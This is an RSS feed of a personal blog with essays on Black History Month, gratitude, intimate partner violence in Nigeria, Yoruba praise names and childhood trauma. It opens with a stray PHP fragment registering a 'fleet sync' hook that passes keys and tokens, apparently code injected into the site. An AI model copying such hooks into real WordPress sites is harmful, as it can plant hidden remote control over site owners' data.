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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Tobi Oloyede – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Thu, 29 Dec 2022 10:06:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Tobi Oloyede – Tobioloyede https://tobioloyede.com 32 32 Black History Month is Here https://tobioloyede.com/black-history-month-is-here/ https://tobioloyede.com/black-history-month-is-here/#respond Wed, 02 Feb 2022 04:54:00 +0000 https://tobioloyedesblog.wordpress.com/?p=402 This post was originally published in February 2021 and has been updated.

Black history month gives you an opportunity to understand black history, what it used to be, what it means now, racism, slavery, and black achievement. To understand the present, it is vital that we engage ourselves with history. Importantly, this year’s theme is Black Health and Wellness. This theme focuses on the significance of Black Health and Wellness by giving credence to black scholars and how healthcare underserves the black community.

I must confess that in all my few years of study, this year, I really put my heart into studying the history of the black community. I must say, it is hard to be black and much harder to be a black woman. Hence, the justification for Black Feminism (a topic for another day). To have a slight grasp, you can read about the works of the like of Maria Miller Stewart, Sojourner Truth, Ida Wells Barnett, the Combahee River Collective among others.

Since 1976, Black History Month is celebrated each February in the United States. This time, February, is allocated to celebrating the accomplishments of African and African American descent. In the 1920s, it started as a week-long celebration and now has inspired several communities and events. We have communities, museums, government agencies, campuses and so on come together to acknowledge the contributions and impacts of African descents not only in the United State, but the world at large.

The Black History Month 2021 was themed, “Black Family: Representation, Identity, and Diversity”  which examines Africans in diaspora, and the expansion of Black families across the United States.

The Man behind the “Black History Month”

As the son of former slaves, Carter G. Woodson grew up working in quarries and coal mines. He is regarded as the pioneer of the movement/vision as I would like to call it. He is the author of several books that focus on blacks and their contributions to the development of America.

According to the National Association for the Advancement of Colored People, “Dr. Woodson often said that he hoped the time would come when Negro History Week would be unnecessary; when all Americans would willingly recognize the contributions of Black Americans as a legitimate and integral part of the history of this country.” We look forward to that time when we would see ourselves as One-humanity and do away with the discriminatory terms “whites/blacks and so on.”[1]

Why February?

Are you like me, wondering why the month of February and not any other month?

Woodson strategically chose the month of February and specifically the second week because of two important personnel whom he respected. To him, Frederick Douglass and President Abraham Lincoln greatly influenced the black American populace and their birthday were on the 14th and 12th of February respectively.[2]

Even as we celebrate Black History month, I remain bothered with a few questions. Is Black History Month is still relevant? Is it still a medium for the anticipated change? Or has Black History Month become a time when the media put up their black materials and everyone around just want to show off or even just post something on social media?

There remains a chasm within the black community that needs to be closed not only for us to be able to think about how far we have come, but how farther we can go together.

“My humanity is bound up in yours, for we can only be human together.”
—Desmond Tutu

https://www.naacp.org/naacp-history-carter-g-woodson/

https://www.cnn.com/2021/02/01/us/history-of-black-history-month-trnd/index.html

Sources

[1] https://www.naacp.org/naacp-history-carter-g-woodson/

[2] https://www.cnn.com/2021/02/01/us/history-of-black-history-month-trnd/index.html

]]> https://tobioloyede.com/black-history-month-is-here/feed/ 0 A Silhouette of Regret https://tobioloyede.com/a-silhouette-of-regret/ https://tobioloyede.com/a-silhouette-of-regret/#respond Mon, 01 Feb 2021 05:21:52 +0000 https://tobioloyedesblog.wordpress.com/2021/02/01/a-silhouette-of-regret/
Part 1

Here’s a poem in two parts, written about 2 years ago.

It is funny how the so-called silhouette challenge reminded me of my then unfinished poem.

The Silhouette of Regret (Part 1 above) is a piece on the description of Akande’s past- mistakes and regrets. He lives with them even though he tries to play the denial game.

The Akande’s Peace (Part 2 below) is the hope he clinges on regarding his past. Despite his beliefs, he come to find something that is greater than his past.

Undoubtedly for some people, there are things in the past that remain untold. There are things or mistakes that still bite you till date and you could find that solace that’s above the experiences. Take your time to heal and give room for better days ahead. Be Intentional!!!

Happy New Month everyone

Part 2

]]> https://tobioloyede.com/a-silhouette-of-regret/feed/ 0 Gratitude; a Lifestyle https://tobioloyede.com/gratitude-a-lifestyle/ https://tobioloyede.com/gratitude-a-lifestyle/#respond Tue, 05 Jan 2021 05:43:43 +0000 https://tobioloyedesblog.wordpress.com/?p=388
Source: The Power of Gratitude

I warmly welcome everyone into this fresh start/New year. Interestingly, it is just another day/month just as every other. Beyond the euphoria, nothing is different, nothing changes. It’s a mere social construction- another day (January 1st) on the calendar. You’re free to be excited just as I am.

If you do follow my podcast (Metamorphosis with Tobi), you will be aware of our last episode for the year 2020 titled “Gratitude 2020” where we did listen to different individuals’ gratitude statements for the year. Still in that light, our first post on here will focus on Gratitude.
Based on all the happenings in 2020, I can certainly say that the one constant thing to be grateful for is Life. For me, that remains the only constant thing and the motivating spirit for the year 2021.

I would like you to pause and think for a few seconds about what Gratitude is in your own perspective (I am watching). For me, Gratitude is both an affirmation and acknowledgment of any kind or good act that you receive. It is a feeling that erupts from within you and most importantly, it a conscious Choice.

Marelisa Fabrega, the author of How to Live Your Best Life – The Essential Guide for Creating and Achieving Your Life List maintains that “it means learning to live your life as if everything were a miracle, and being aware on a continuous basis of how much you’ve been given.” Psychological and behavioral research show that gratitude plays an important role on our mental health. Without doubt, being grateful/the act of thanksgiving make people more happy-it leaves you in a happy state and this invariably plays on your mental health. It improves interpersonal relationships. In their research, Wood et al. conclude that “gratitude is related to a variety of clinically relevant phenomena, including psychopathology (particularly depression), adaptive personality characteristics, positive social relationships, and physical health (particularly stress and sleep). ”(1) In addition, Dr. Emmons a gratitude researcher showed in one of his studies that people who exhibit gratitude are predisposed to being more creative, resilient (bounce back more from harsh experiences and adversity) and enjoy better social relationships. For him, “to say we feel grateful is not to say that everything in our lives is necessarily great. It just means we are aware of our blessings.”(2)

How then do I remain constantly grateful this year and really make gratitude a personal journey?

  • Gratitude journal: Keeping a gratitude journal can serve as a daily remembrance of benefits, goodness, and all.
  • Visual reminder: It is noteworthy that forgetfulness and lack of awareness are two factors that limit our show of gratitude. Therefore, having things to visually remind you will do.
  • Bad Situations: Always remember the bad and ugly situations as they strengthen your consciousness of the beautiful ones. For instance, when you remember how difficult life used to be, you would come to better understand the benefits you now enjoy.
  • Practice and be Intentional about showing gratitude via different creative means. You could drop a note of thanks randomly and just appreciate people for their impact on your life.
    Conclusion
    Once you become intentional about being grateful even for the small things, you will notice that you begin to find joy and happiness easily. The little things you used to take for granted will have meaning to you. There is a popular Yoruba saying translated into English “when a child is grateful for yesterday’s kindness, he is open to receive yet another.” I agree with that, but I would advise to live beyond being grateful in order to receive more, but because gratitude has now become a lifestyle for you. You will unconsciously become one to always see beauty even in ugly situation.
  • Pledge: I choose today to live a life full of Gratitude-I am gratitude personified.

Sources

[1] https://possibilitychange.com/gratitude/

[2] Wood, A. M., et al., Gratitude and well-being: A review and theoretical integration, Clinical Psychology Review (2010), doi:10.1016/j.cpr.2010.03.005

]]> https://tobioloyede.com/gratitude-a-lifestyle/feed/ 0 Anger as a Response to Intimate Partner Violence in Nigeria {Part 2} https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/ https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/#respond Wed, 16 Dec 2020 19:50:38 +0000 https://tobioloyedesblog.wordpress.com/?p=271
Source: Tackling Violence against Women

This menace should be attended to because women, especially through their resiliency and hidden strength, can positively affect the growth and development of the nation and the world at large. They are homemakers, custodians of social, cultural, political, and inherent values of the society, and sustainable change is best achieved through them. Without the involvement of women, community development, cooperation and effective participation is impossible. With regards to these, women deserve better and favorable treatment, but the reverse is usually the case in Nigeria. Intimate partner violence affects the physical, social, and psychological wellbeing of the abused women and even that of their children. With regards to personal experiences while growing up in the Southwestern part of Nigeria, undoubtedly, this calls for intervention.

In the course of undertaking this research, I interviewed a couple of survivors as they preferred to be called survivors as opposed to victims. Most agreed that they were and are angry. Derrick Silove et al. “maintain that mental health professionals have documented the occurrence of explosive forms of anger amongst survivors of gross human rights violations, including those exposed to sexual abuse and intimate partner violence.” ) They further posit that exposure to gross human rights violations provokes feelings of extreme rage, particularly when victims are incapable of resisting. Frustrations in the post-conflict environment (lack of effective justice, socio-economic deprivations) may compound feelings of anger, with environmental triggers precipitating episodes of overt rage. The emotion of anger has no doubt received growing attention in the general field of mental health with extant studies focusing both on clinic and population samples. In the field of traumatic stress, a focus on anger has been somewhat overshadowed by the emphasis given to post-traumatic stress disorder (PTSD), particularly because that category incorporates symptoms of irritability and anger. There is evidence, however, that anger may be distinguished from other symptoms of PTSD in following a more protracted course.

Without doubt, trauma affects the wellbeing of an individual, irrespective of the type and level of the overwhelming incident. Women who have previously experienced some form of trauma such as physical or sexual abuse live with a mental illness. Intimate partner violence causes adverse effects on the psychological and emotional state of survivors such as anxiety, panic attacks, substance abuse, depression and post-traumatic stress disorder. Dominick LaCapra, a researcher in trauma studies, refers to trauma as “a disruptive experience that disarticulates the self and creates a hole in existence.”[1] Survivors become weakened and are propelled into a state of confusion, thereby causing them to feel disorganized.

Intimate partner violence targeted against women undoubtedly leads to gendered trauma that affects women’s economic, cultural, political, and social rights. The patriarchal and oppressive social structures of the Nigerian society result in gender trauma. Anastasia Gage and Nicholas Thomas affirm that “gender ideology that supports husband dominance and wife beating can undermine women’s structural gains and jeopardize their health and contributions to economic development.”[2] In Nigeria, women are beaten and physically abused by their spouses on a regular basis and these attacks leave them physically and mentally disfigured.

On gender trauma in African women, Sylvia Tamale notes that it is pertinent to move from occurrences of gendered trauma to equality as inequality hinders women’s growth in the society and as such, they are traumatized.[3] Researchers posit that there are different types of intimate partner violence, including physical abuse, emotional abuse, psychological abuse, and sexual abuse among others. Cathy Humphreys and Ravi Thiara admit that there is a relationship between the mental health of domestic violence survivors and their experience of traumatic events such that it becomes so crucial that they experience anxiety, depression, emotional distress, post-traumatic stress disorder (PTSD) among others.[4] Jacqueline Golding’s study presents the mean prevalence of mental health problems among abused women to be 47.6% in 18 studies of depression, 17.9% in 13 studies of suicidality, 63.8% in 11 studies of posttraumatic stress disorder (PTSD), 18.5% in 10 studies of alcohol abuse, and 8.9% in four studies of drug abuse.[5] Jacqueline Campbell admits that “women in developing countries also report mental-health problems from abuse, with 70% of cases of emotional distress in Nicaragua attributed to intimate partner violence, and depression and anxiety reported in battered women in Pakistan.”[6] Obviously, the adverse effects of intimate partner violence across cultures cannot be overemphasized.

Conclusion

Though this research is still in progress, it is important to note that if we truly seek an end to intimate partner violence, it is required of us to firmly understand the experiences of survivors and their needs for improvement. When we decide to look away from a social justice phenomenon such as this, we allow injustice to thrive. The anger to fight against violence remains a positive powerful energy for change. Again, I am angry yet unapologetic because I seek strength and liberation.

BIBLIOGRAPHY

Silove, Derrick & Brooks, Robert & Bateman-Steel, Catherine & Steel, Zachary & Hewage, Kalhari & Rodger, James & Soosay, Ian. (2009). Explosive anger as a response to human rights violations in post-conflict Timor-Leste. Social science & medicine (1982). 69. 670-7. 10.1016/j.socscimed.2009.06.030.

[1] Writing History, Writing Trauma (Baltimore: John Hopkins University Press, 2014): 41.

[2] “Women’s work, gender roles, and intimate partner violence in Nigeria” Archives of Sexual Behavior, 46, no. 7(2017): 1924. Doi: http://dx.doi.org/10.1007/s10508-017-1023-4

[3] Gender trauma in africa: Enhancing women’s links to resources.Journal of African Law, 48, no. 1, (2004): 50-61. Retrieved from https://login.iris.etsu.edu:3443/login?url=https://search.proquest.com/docview/218165222?accountid=10771

[4] “Mental Health and Domestic Violence: ‘I Call it Symptoms of Abuse’, The British Journal of Social Work, Volume 33, Issue 2, 1
(March 2003): 210, https://doi-org.iris.etsu.edu:3443/10.1093/bjsw/33.2.209

[5] “Intimate Partner Violence as a Risk Factor for Mental Disorders: A Meta-Analysis.” Journal of Family Violence 14, no. 2 (June 1999): 99. https://search.ebscohost.com/login.aspx?direct=true&AuthType=cookie,ip,url,uid,athens&db=ssf&AN=511115553&site=ehost-live

[6] “Health consequences of intimate partner violence.” The Lancet, 359 (2002), 1334. doi: http://dx.doi.org/10.1016/S0140-6736(02)08336-8

]]> https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/feed/ 0 Anger as a Response to Intimate Partner Violence in Nigeria {Part 1} https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-1/ https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-1/#respond Tue, 08 Dec 2020 01:46:44 +0000 https://tobioloyedesblog.wordpress.com/?p=348

https://www.google.com/url?sa=i&url=https%3A%2F%2Fguardian.ng%2Fnews%2Fokei-odumakin-wants-violence-against-women-girls-stopped%2F&psig=AOvVaw1AMqcG24c3R2V9ZrUL5wEd&ust=1607476227118000&source=images&cd=vfe&ved=0CAIQjRxqFwoTCPjlpfaZve0CFQAAAAAdAAAAABAP

I am angry, yet unapologetic about it. We tend to think of anger as an abominable, negative emotion, but research finds that anger is not bereft of positive sides. My anger is a motivating force in the form of positive energy geared towards fighting against all forms of intimate partner violence. Domestic violence is a global phenomenon that is manifested in all strata of the society, cutting across religious, political, racial, economic, and cultural spectrums. It is noteworthy that domestic violence is an umbrella term with which intimate partner violence (IPV) is a part. Scholars such as Collins Nwabunike and Eric Tenkorang maintain that most Nigerian women have experienced domestic violence irrespective of the ethnic group and the part of the country in which they reside.[1] However, the Southwest region is the focus of this post, it does not mean that is the only region where intimate partner violence is rampant as it is realizable in other regions of the country and the world at large. Violence in the family comprises social, mental, and psychological problems with adverse consequences for survivors. It leads to changes in the social and psychological functioning of the survivors. My anger is mainly for the imposition and the infringement of the human rights of women (this is not to say that men themselves are not victims, but violence against women is more rampant and that it the focus of this post). If you feel uncomfortable with the denial and subjugation that women are forced to undergo, therefore my anger (energy) and yours can be used to tackle violence against women in all forms.

As in most other African countries, Nigeria is one with high prevalence of this phenomenon and the abused women are culturally expected to be totally submissive to their husbands. This norm has brainwashed women to the extent that they accept and justify the abuse perpetrated on them by their spouses.  Nwabunike and Tenkorang give an example of the Tiv tribe of Nigeria who are of the belief that wife battering is an indication of love, and the women have been fraternized to accept and support it.[2] This shows how women are violated by their spouses and are left to endure it. Violence in the family comprises social, mental, and psychological problems with adverse consequences for survivors. It leads to changes in the social and psychological functioning of the survivors.

The imposition and the infringement of their human rights raises the question of how female survivors in Nigeria cope with such adversity and the effects of gendered trauma. Most researchers find that female Nigerian survivors of abuse are strong despite the harsh conditions in which they find themselves. I argue primarily that they exemplify different coping mechanisms to uphold and recreate their lives through resilience. Also, that their resilience is not just a means of being quiet due to non-disclosure, but hidden strength. Importantly, they do not only depict hidden strength, but also develop agency and empower themselves irrespective of the structures (gender, class, customs etc.) that limit them.

The menace of domestic violence with a focus on intimate partner violence is a global problem that occurs not only in Nigeria, which is a developing country, but also in developed countries. It is strengthened by a culture which allows women to be subordinate in the family, thereby giving ultimate power to men. It is a widespread issue that shows little or no sign of alleviation and the forms in which it takes include physical, sexual, emotional, and mental. The Nigerian Government is beginning to investigate it, but the situation seems unattended to because of the patriarchal structure of the society which leaves these women at the receiving end. A vivid example is the recent case of one Mr. Pius Angbo (a Channels TV reporter) who was called out by his wife (Ifeanyi Angbo) over a long history of battering in their six years of marriage. In sum, the Governor Samuel Ortom of Benue State intervenes and reconciles the couple. What I see at play or questions that arise are that “Did or will he be convicted for his crimes? “Will the wife/husband be made to see a therapist?” among others.

Allan Johnson affirms that a patriarchal society is one that bestows privileges and power to men, thereby allowing for male domination.[3] This, therefore, creates inequality between men and women. Men tend to fill top positions across all institutions ranging from political, social, and religious settings. Nigerian female survivors of intimate partner violence are encouraged to accept their fate as it is taken as a normal phenomenon as the society stigmatizes any woman who attempts divorce or separation. Catherine Oluyemo and Tolulope Ola also assert that patriarchy allows for the subjugation and subservience of women and as such, leads to the infringement of their rights.[4] Interestingly, survivors are expected to strive on in the abusive relationship like nothing wrong ever happened or is happening. This affirms how the societal inequality has eaten deep into the family which naturally should serve as a haven. Generally, the family is known to be the basic unit of the society with a strong tie, but it is disheartening that violence erupts from it. Patricia Hill Collins maintains that “one dimension of family as a privileged exemplar of intersectionality lies in how it reconciles the contradictory relationship between equality. . . the traditional family ideally projects a model of equality.”[5] She argues that family units serve as an instrument for the violation of women. The intersectionality that arises from the family unit leaves one questioning the idea of family as a setting where love erupts, and security abounds. Research suggests that the issue of women being violated and subjugated in society is an outcome of a longstanding belief and a global idea that men are superior to women. Therefore, I argue that gender inequality is the basis for all forms of violence against women in the society.

[To be continued…]

https://www.google.com/url?sa=i&url=https%3A%2F%2Fnollyculture.blogspot.com%2F2018%2F01%2Fnigerian-marriages-and-trauma-of.html&psig=AOvVaw1AMqcG24c3R2V9ZrUL5wEd&ust=1607476227118000&source=images&cd=vfe&ved=0CAIQjRxqFwoTCLCB4Pibve0CFQAAAAAdAAAAABAK

BIBLIOGRAPHY

Silove, Derrick & Brooks, Robert & Bateman-Steel, Catherine & Steel, Zachary & Hewage, Kalhari & Rodger, James & Soosay, Ian. (2009). Explosive anger as a response to human rights violations in post-conflict Timor-Leste. Social science & medicine (1982). 69. 670-7. 10.1016/j.socscimed.2009.06.030.

[1] “Domestic and Marital Violence Among Three Ethnic Groups in Nigeria.” Journal of Interpersonal Violence 32, no. 18 (September 2017): 2751. https://doi:10.1177/0886260515596147 .

[2] Ibid., 2752.

[3] The Gender Knot: Unraveling Our Patriarchal Legacy. Philadelphia: Temple University Press, (1997): 5 https://search-ebscohost-com.iris.etsu.edu:3443/login.aspx?direct=true&AuthType=cookie,ip,url,uid,athens&db=nlebk&AN=51281&site=ehost-live

[4] “The Rights of Nigerian Women In A Patriarchal Society: Implication For Development.” Journal of Research in Gender Studies, 4, no. 2, (2014): 375. https://login.iris.etsu.edu:3443/login?url=https://search.proquest.com/docview/1645383659?accountid=10771

[5] “It’s All in the Family: Intersections of Gender, Race, and Nation.” Hypatia 13, no. 3 (1998): 64. http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.457.6652&rep=rep1&type=pdf

]]> https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-1/feed/ 0 A Universal Generosity Movement https://tobioloyede.com/a-universal-generosity-movement-2/ https://tobioloyede.com/a-universal-generosity-movement-2/#respond Tue, 01 Dec 2020 15:06:18 +0000 https://tobioloyedesblog.wordpress.com/?p=345 https://tobioloyede.com/a-universal-generosity-movement-2/feed/ 0 My Review of Eviatar Zerubavel’s “Taken for Granted: The Remarkable Power of the Unremarkable” https://tobioloyede.com/my-review-of-eviatar-zerubavels-taken-for-granted-the-remarkable-power-of-the-unremarkable/ https://tobioloyede.com/my-review-of-eviatar-zerubavels-taken-for-granted-the-remarkable-power-of-the-unremarkable/#comments Wed, 02 Sep 2020 04:17:30 +0000 https://tobioloyedesblog.wordpress.com/?p=330

In this appealing and perceptive book, Eviatar Zerubavel explains how the words we use and do not use reinforce dominant cultural norms. For instance, when we mark “the best female basketball player,” “Black Entertainment Television network,” and “family man,” but leave their counterparts unmarked, we thereby assume them to be ordinary by default. What we mark or leave unmarked is not a matter of personal opinions rather; we base these decisions on our socially constructed, norms, traditions, and social conventions.

The things we assume and take for granted differ across social institutions and cultures in society. Zerubavel shows how marking certain practices, identities, and ideas help certain groups maintain cultural dominance, including—the power to control what others take for granted. The most potent form of marking is known as labeling, which establishes a semiotic asymmetry between the “marked” and the “unmarked.” For example, bridges marked as “Pedestrian Bridges” signal a difference from regular bridges that no one marks as “Motorable Bridges.” In Nigeria, one may find a label for “children’s church” and no label marking “adult’s church.” These obvious distinctions are taken for granted and therefore go unquestioned. They also vary according to culture. For instance, a Nigerian coming to America may not be able to tell whether smoking is permitted anywhere unless signs are indicating whether or not it is prohibited. Zerubavel explains situational variability, as the things we assume by default and take for granted vary not only cross-culturally, but also sub-culturally. A vivid example is how the most revered day of the week for Christians is Sunday and for Muslims is Friday.

When we bring our assumptions to the surface, the results can be both funny and sad. A classic example is Hofstadter’s (2001) riddle about a fatal car accident in which the driver dies immediately on the spot, and his son is rushed to a nearby hospital, after that seeing him, a startled surgeon exclaims: “I cannot operate on this boy – he is my son.” The most straightforward answer would be that the surgeon must be the boy’s mother. I tried this riddle with some friends on different occasions, but it was difficult for them to decipher as eight of ten never thought of the surgeon as a female. Their failure to think of the surgeon as a woman exposes how we take things for granted and how we assume “surgeon” naturally implies a man. Language plays a major role in the process of othering such that whenever we define something, we also indicate what it is not. For instance, when we create compounds words like African American or Religious Democrat, it implies that the person is not a typical American or Democrat respectively and it results in the passive construction of the normative case.

Zerubavel concludes with a fascinating chapter, “Language and Cultural Change.” It is conventional wisdom that language has its roots in culture; we learn to and mark things according to our speech community. In the case of giving consent between opposite sexes in the American Sexual ethics, there has been a great shift as silence used to be a tacit “Yes” but recently if the woman does not give an explicit “Yes,” then it means a “No” which is outright denial. The change, in other words, includes a significant assumption reversal about the meaning of silence. He examines the faults of our language and challenges our understanding of social life. Taken for Granted is a fascinating guide on how language sustains and aggravates social inequalities. Zerubavel’s broad-minded analysis has the power to shift the readers’ worldviews.

However, his research is detailed, but his google based results vary according to location. For example, his illustration with Google search on the terms non-Western and non-Eastern with 3,020,000 and 19,900 respectively. With regards to location, these google search results vary predominantly. Nevertheless, these are little points as Taken for Granted requires us to acknowledge our biases and how we communicate them — whether we understand the implication of what we are saying or not.

An important takeaway from this book is that language itself can betray us. It could trick us into revealing things about others without using words. This is because not only do the words we use carry power, the unused words themselves are sometimes more powerful.

References
Eviatar Zerubavel. Taken for Granted: The Remarkable Power of the Unremarkable, Princeton, NJ: Princeton University Press, 2018. 160 pp. $19.95 cloth. ISBN: 9780691177366.

Hofstadter, Douglas R. (2001).” Changes in Default Words and Images Engendered by the Rising Consciousness”. Pp. 112-113 in Jodi O’Brien and Peter E. Kollock (eds.), The Production of Reality: Essays and Readings on Social Interaction, 3rd ed. Thousand Oaks, CA: Pine Forge Press.

]]> https://tobioloyede.com/my-review-of-eviatar-zerubavels-taken-for-granted-the-remarkable-power-of-the-unremarkable/feed/ 2 Oríkì Sokí(Individual Praise Poetry) https://tobioloyede.com/oriki-sokiindividual-praise-poetry/ https://tobioloyede.com/oriki-sokiindividual-praise-poetry/#comments Wed, 19 Aug 2020 16:08:26 +0000 https://tobioloyedesblog.wordpress.com/?p=303

In the South-Western part (Yorubaland) of Nigeria, there are various types of names.
According to Oyeronke Ouewunmi, customarily, Yoruba names were not gender-specific and as such, males and females bore the same names. But now, names themselves are beginning to describe gender. Although there are different categories of Oríkì such as Oríkì Orile (family/lineage praise poetry), Oríkì ilu (town/community praise poetry), Oríkì of Dieties (which supply information on deities’ preferences, characteristics, taboos, and exploits) among others. Today we are focusing on Oríkì soki. Oríkì soki is gender-specific even though they do not align with the logic of the practices of naming in Yoruba. These are among the names that are given to an individual during the eight-day naming ceremony in most but not all parts of Yorubaland. These names are informed by a number of factors such as circumstances of birth, position of the child in the line of siblings, and the level of success/wealth of the family at the time of the child’s birth.

Map of Nigeria showing the Southwest region as the study area.

images.app.goo.gl/eiXDmrxq4Yq5vZsaA(opens in a new tab)

Oríkì is known as praise poetry or panegyric. The Oríkì soki is a kind of name used in a unique manner and always has its meaning visibly embedded in it. It is a kind of name that is used as an endearment or to placate an individual when hurt.
It is noteworthy that with the Yoruba culture is the Oríkì (praise poetry). Every tribe and every household has its own Oríkì soki just as each individual has his or her own Oríkì. Each name is given to individuals for symbolic reasons.

Enjoy the glossary of poetic names below (Here is a short version of the list of names available)

Female NamesMale Names
• Abeke –One that is begged to be care for or pampered.
• Akanke – One who is especially cherished or pampered.
• Àlàké – One that circumstances had to be overcome to take care of her.
• Ayinke – One meant to praise and pet.
• Àbèbí – One given birth to after a lot of persuasions (probably a difficult birth).
• Amope – One whose knowledge is complete.
• Àbèní – One we begged to have i.e. a child that was begged for to have or born (from God or, more often traditionally, the gods).
• Ànìké – One born to be pampered.
• Abegbe – A child that we begged to carry.
• Adubi – One we struggled to birth. Usually, given to a baby born via breech birth.
• Àshàké/Asake – One picked or selected to be pampered or cherished.
• Ajoke – One who is jointly cherished or jointly beloved or meaning meant to be taken care of by all.
• Adunni/Aduni – It could mean a joy to have or one we struggled to have.
• Asabi –It means one selected for birth.
• Apeke – One called or born to be cared for or pampered. The name is usually followed by soothing words and songs.
• Àdùké – One that people will fight over the privilege to care for her and pamper her.
• Ayoka –One who causes joy.		• Akanbi – It means one that is consciously or deliberately born.
• Alabi – It means one born to the white cloth (of Ọbàtálá).
• Ayinla – A child meant to be praised, feted, and disciplined.
• Àjàní – Yoruba Oriki name meaning a child we fought for to have. It is a name given to a son that is valued and cherished because of the victory fought and overcame to have him.
• Adisa – The literal meaning of this Oriki is one bundled up and spread to dry.
• Ajadi – The end of a conflict.
• Akanni – One that is special to have.
• Alani – One we survived to have.
• Ayinde – One who arrives when praised.
• Adigun – The perfectionist.
• Àkànde Àgàn – Yoruba Oriki name meaning favourite of the prince.
• Ajala – One who has fought and survived.
• Akande – One who purposefully came.
• Alade – One who survives to arrive.
• Àjàgbé – One we fought to carry.
• Akangbe – One consciously or deliberately carried.
• Akanmu – One who is personally chosen.
• Atanda – One created to shine brightness.
• Àkànní – Yoruba Oriki name meaning “met only once to have this child.” It is also a Yoruba Oriki given to a first male child.
• Àkànjí – One whose touch gives life.
• Ariyo – One with whom we rejoice at his sight

Your culture to an extent explains your identity.
Irrespective of your tribe, embrace your cultural heritage. Since culture is not static, strive to improve them.

Your words have meaning, your names carry power-Tobi Oloyede

The list is inexhaustible, feel free to add yours.

Source: Oyewumi, Oyeronke, “To Gender or Not to Gender: Making Sense of Oriki Soki in the Yoruba Naming System (April 12, 2013).” https://ssrn.com/abstract=2343229 Accessed March 21, 2020.

]]> https://tobioloyede.com/oriki-sokiindividual-praise-poetry/feed/ 4 Where Is the Place of A Woman in Africa? An Overview of Precolonial Africa https://tobioloyede.com/where-is-the-place-of-a-woman-in-africa-an-overview-of-precolonial-africa/ https://tobioloyede.com/where-is-the-place-of-a-woman-in-africa-an-overview-of-precolonial-africa/#respond Sun, 26 Jul 2020 04:58:23 +0000 https://tobioloyedesblog.wordpress.com/?p=300

So many questions to ask: where is the place of an African woman? Is her place in the kitchen? Is patriarchy African? Better still, what does …

Where Is the Place of A Woman in Africa? An Overview of Precolonial Africa
]]> https://tobioloyede.com/where-is-the-place-of-a-woman-in-africa-an-overview-of-precolonial-africa/feed/ 0 Forget Me Not: The Callings of Childhood Experiences https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/ https://tobioloyede.com/forget-me-not-the-callings-of-childhood-experiences/#respond Wed, 22 Jul 2020 14:06:26 +0000 https://tobioloyedesblog.wordpress.com/?p=263 Art for Children Experiencing Traumatic Stress | Two-Day Training ...
https://image.jimcdn.com/app/cms/image/transf/none/path/sab466b80ea2508d1/image/i94d9d503b1e612b9/version/1542041311/image.jpg

It is no news that children would always want to behave like children and as such they anger their parents. Although that is not our focus for today. We are walking through thoughts on parents.

It is noteworthy that my writings spring out of personal experiences and the experiences of people close to me. This is not to point at anyone, but to emphasize the seriousness of our engagements here (my writings, your readings, questions, and comments). So, let’s get back in line before we lose it(😂)

Sometimes parents hurt their children such that the pain/hurt negatively affects their relationship with their children.

When the child begins to react to the hurt/pain, we blame them. We conclude that they are somewhat bad children who are unappreciative of parental efforts. We fail to realize that these children may have repressed memories that play out later in life. Psychoanalysis explains that there are certain traumatic experiences that our conscious minds cannot retain, therefore, they are buried and tucked away in our unconscious. These are therefore memories that have been pushed down into the unconscious without your control and are hidden in your mind and pops up later in your journey of life.

One important question remains, is it possible to forget terrible experiences such as being sexually abused? being brutally beaten? Among others The answer is Yes (depending on the circumstances) This is due to the existing relationship between childhood trauma and amnesia which could give room for repressed memories.

On a lighter note, I just love what the Bible says in Ephesians 6:1-4:

“After three verses dedicated to how children should obey parents, one verse is given specifically for fathers. As the head of the household, the father is charged with ultimate responsibility for the way the children are raised. In practice, this instruction is meant for both parents, and would have been understood that way by Paul’s readers. Fathers are commanded not to agitate or irritate their children. The Greek word is parorgizete, which implies exasperation or frustration. In practice, this means avoiding unfair and cruel behavior, or blatant favoritism. Godly fathers are not to push their children toward anger. Anger can sometimes be a healthy emotion yet can often lead to sin (Ephesians 4:26). Instead, fathers (parents) are given a positive command to “bring them up.” In other words, Christians are expected to be highly involved in raising their own children. Two areas are mentioned. First, Paul includes discipline. Discipline involved learning self–control and the ability to restrain from personal desires in order to do what is right. Second, Paul adds the “instruction of the Lord.” We should be involved in teaching our children about God’s ways through both education and example.” (https://www.bibleref.com/Ephesians/6/Ephesians-6-4.html.  Accessed July 15, 2020.)

It is also noteworthy that your parents do not hate/dislike you, it is just their supposed right way of training you. No one is blaming you for your traumatic responses. Healing is a process; the onus is on you to heal on your own pace.

Yes, healing from childhood trauma is not impossible. It is only difficult.

What then is childhood trauma?

Childhood trauma is caused by any situation in which a child perceives that they are in an extremely frightening, dangerous or overwhelming position. (https://medium.com/lady-vivra/healing-from-childhood-trauma-7f5b979a2631  Accessed July 15, 2020)

Childhood trauma ranges from physical abuse, physical neglect, emotional abuse, sexual abuse, loss of a caregiver, emotional neglect, to natural disasters.

Ways to heal from childhood Trauma

              1.           Distance yourself from toxic people.

              2.           Seek help from professionals

              3.           Learn self-regulation and stress-reduction techniques.

              4.           Allow yourself to get close to people.

The above are only a few of the different ways to heal.

Mitigating the effects of childhood trauma
What happens in your childhood does not always remain in your childhood. They go on to reflect even in the minute things or small relationships that you build in the future. You are free to disagree, but of a truth, I can affirm that my childhood experiences/trauma play out in the way I see life, in the way I relate with people, even in my inactions.

NB: The above is a response to my wanting to engage with my beautiful readers. Please feel free to post your comments, ask questions, like, and share. I look forward to more insightful interactions. Remember that for Tobi Oloyede, the pen is always mightier and with her pen she speaks louder.

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